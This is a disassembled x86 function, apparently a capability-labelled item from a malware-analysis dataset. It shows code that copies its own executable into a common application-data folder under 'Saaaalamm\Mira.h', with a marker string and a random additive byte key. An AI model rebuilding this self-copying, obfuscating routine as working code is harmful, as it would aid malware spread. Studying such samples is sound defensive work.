Function at 0x4019ea
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x44c
mov dword [ebp - 0x3d4], fcn.004023e0
mov dword [ebp - 0x3d0], 0x43c534
lea eax, [ebp - 0x3cc]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x401e69
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x3ec]
mov dword [esp], eax
call fcn.0040d050
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
movzx eax, byte [0x43f055]
mov byte [ebp - 0xa8], al
lea edx, [ebp - 0xa7]
mov eax, 0x7f
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], edx
call sub.msvcrt.dll_memset
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0x43e020
mov dword [esp], 0
mov dword [ebp - 0x3e8], 0xffffffff
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
lea eax, [ebp - 0xa8]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x23
mov dword [esp], 0
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
mov dword [esp + 4], 0x43f09e
lea eax, [ebp - 0xa8]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 4], str.Saaaalamm
lea eax, [ebp - 0xa8]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 4], str.Mira.h
lea eax, [ebp - 0xa8]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 8], 4
lea eax, [ebp - 0xa8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1b8]
mov dword [esp], eax
call sym.oM:_N2Gr_S_N2__0S0_Z__0_0_fV__0da__fP_u_rN_
mov dword [esp + 8], 4
mov dword [esp + 4], 0x43e020
lea eax, [ebp - 0x2b8]
mov dword [esp], eax
mov dword [ebp - 0x3e8], 3
call sym.oM:_N2Gr_S_N2__0S0_Z__0_0_fV__0da__fP_u_rN_
mov dword [esp + 8], 4
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3b8]
mov dword [esp], eax
mov dword [ebp - 0x3e8], 2
call sym.Gr_SLMd_d0___.I.1____e0da0__E_da__0_k
lea eax, [ebp - 0x1b8]
add eax, 0x74
mov dword [esp], eax
mov dword [ebp - 0x3e8], 1
call sym.0__5__.DqF__.0u0_d___Z5_r__d__._.
test al, al
jne 0x401bd4
mov dword [esp + 8], 1
lea eax, [ebp - 0xa9]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1b8]
mov dword [esp], eax
call sym.20uE___DdLTd__m_uE0_0ubPTbTeo1_u___X0_uboMGr
mov dword [esp + 8], 1
lea eax, [ebp - 0xa9]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3b8]
mov dword [esp], eax
call sym._p___O0_n__5
jmp 0x401b73
mov dword [esp], str.NaHaJa
call sub.msvcrt.dll_strlen
mov dword [esp + 8], eax
mov dword [esp + 4], str.NaHaJa
lea eax, [ebp - 0x3b8]
mov dword [esp], eax
mov dword [ebp - 0x3e8], 1
call sym._p___O0_n__5
call sub.msvcrt.dll_rand
mov dword [ebp - 0x3f0], eax
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x3f4], ecx
cmp dword [ebp - 0x3f4], 0
jns 0x401c2e
add dword [ebp - 0x3f4], 0xff
mov eax, dword [ebp - 0x3f4]
sar eax, 8
shl eax, 8
mov ebx, dword [ebp - 0x3f0]
sub ebx, eax
mov eax, ebx
mov byte [ebp - 0x1c], al
call sub.msvcrt.dll_rand
mov dword [ebp - 0x3f8], eax
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 0
jns 0x401c71
add dword [ebp - 0x3fc], 0xff
mov eax, dword [ebp - 0x3fc]
sar eax, 8
shl eax, 8
mov edx, dword [ebp - 0x3f8]
sub edx, eax
mov eax, edx
mov byte [ebp - 0x1b], al
call sub.msvcrt.dll_rand
mov dword [ebp - 0x400], eax
mov ecx, dword [ebp - 0x400]
mov dword [ebp - 0x404], ecx
cmp dword [ebp - 0x404], 0
jns 0x401cb4
add dword [ebp - 0x404], 0xff
mov eax, dword [ebp - 0x404]
sar eax, 8
shl eax, 8
mov ebx, dword [ebp - 0x400]
sub ebx, eax
mov eax, ebx
mov byte [ebp - 0x1a], al
call sub.msvcrt.dll_rand
mov dword [ebp - 0x408], eax
mov eax, dword [ebp - 0x408]
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 0
jns 0x401cf7
add dword [ebp - 0x40c], 0xff
mov eax, dword [ebp - 0x40c]
sar eax, 8
shl eax, 8
mov edx, dword [ebp - 0x408]
sub edx, eax
mov eax, edx
mov byte [ebp - 0x19], al
mov dword [esp + 8], 4
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3b8]
mov dword [esp], eax
mov dword [ebp - 0x3e8], 1
call sym._p___O0_n__5
lea eax, [ebp - 0x2b8]
add eax, 0x74
mov dword [esp], eax
mov dword [ebp - 0x3e8], 1
call sym.0__5__.DqF__.0u0_d___Z5_r__d__._.
test al, al
jne 0x401e33
mov dword [esp + 8], 1
lea eax, [ebp - 0xa9]
mov dword [esp + 4], eax
lea eax, [ebp - 0x2b8]
mov dword [esp], eax
call sym.20uE___DdLTd__m_uE0_0ubPTbTeo1_u___X0_uboMGr
mov ecx, dword [ebp - 0x28]
mov ebx, dword [ebp - 0x24]
mov dword [ebp - 0x418], ecx
mov dword [ebp - 0x414], ebx
mov eax, dword [ebp - 0x418]
mov edx, dword [ebp - 0x414]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], edx
cmp dword [ebp - 0x41c], 0
jns 0x401dbb
add dword [ebp - 0x420], 3
adc dword [ebp - 0x41c], 0
mov eax, dword [ebp - 0x420]
mov edx, dword [ebp - 0x41c]
shrd eax, edx, 2
sar edx, 2
shld edx, eax, 2
shl eax, 2
mov ecx, dword [ebp - 0x418]
mov ebx, dword [ebp - 0x414]
sub ecx, eax
sbb ebx, edx
mov eax, ecx
mov edx, ebx
lea ecx, [ebp - 0x1c]
lea eax, [ecx + eax]
movzx edx, byte [eax]
lea eax, [ebp - 0xa9]
add byte [eax], dl
mov dword [esp + 8], 1
lea eax, [ebp - 0xa9]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3b8]
mov dword [esp], eax
mov dword [ebp - 0x3e8], 1
call sym._p___O0_n__5
lea eax, [ebp - 0x28]
add dword [eax], 1
adc dword [eax + 4], 0
jmp 0x401d37
lea eax, [ebp - 0x1b8]
mov dword [esp], eax
mov dword [ebp - 0x3e8], 1
call sym.__ob_1_Q00da_U_dQ__dN8__00_Q_0_ub___U_doM
lea eax, [ebp - 0x2b8]
mov dword [esp], eax
call sym.__ob_1_Q00da_U_dQ__dN8__00_Q_0_ub___U_doM
lea eax, [ebp - 0x3b8]
mov dword [esp], eax
call sym._dQ__dN8__p00_d0dYR0DqmDriDq__ubo
jmp 0x401ecc
lea eax, [ebp - 0x3b8]
mov dword [esp], eax
mov dword [ebp - 0x3e8], 2
call sym._uboMGr_SLM__0d_Hd0_6__0zm_d_
jmp 0x401f18
lea eax, [ebp - 0x2b8]
mov dword [esp], eax
mov dword [ebp - 0x3e8], 3
call sym.0o___0YK__u_rN_2_u0faDb2_d_mGoM4_N
jmp 0x401f7a
lea eax, [ebp - 0x1b8]
mov dword [esp], eax
mov dword [ebp - 0x3e8], 0xffffffff
call sym.0o___0YK__u_rN_2_u0faDb2_d_mGoM4_N
lea eax, [ebp - 0x3ec]
mov dword [esp], eax
call fcn.0040d130
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret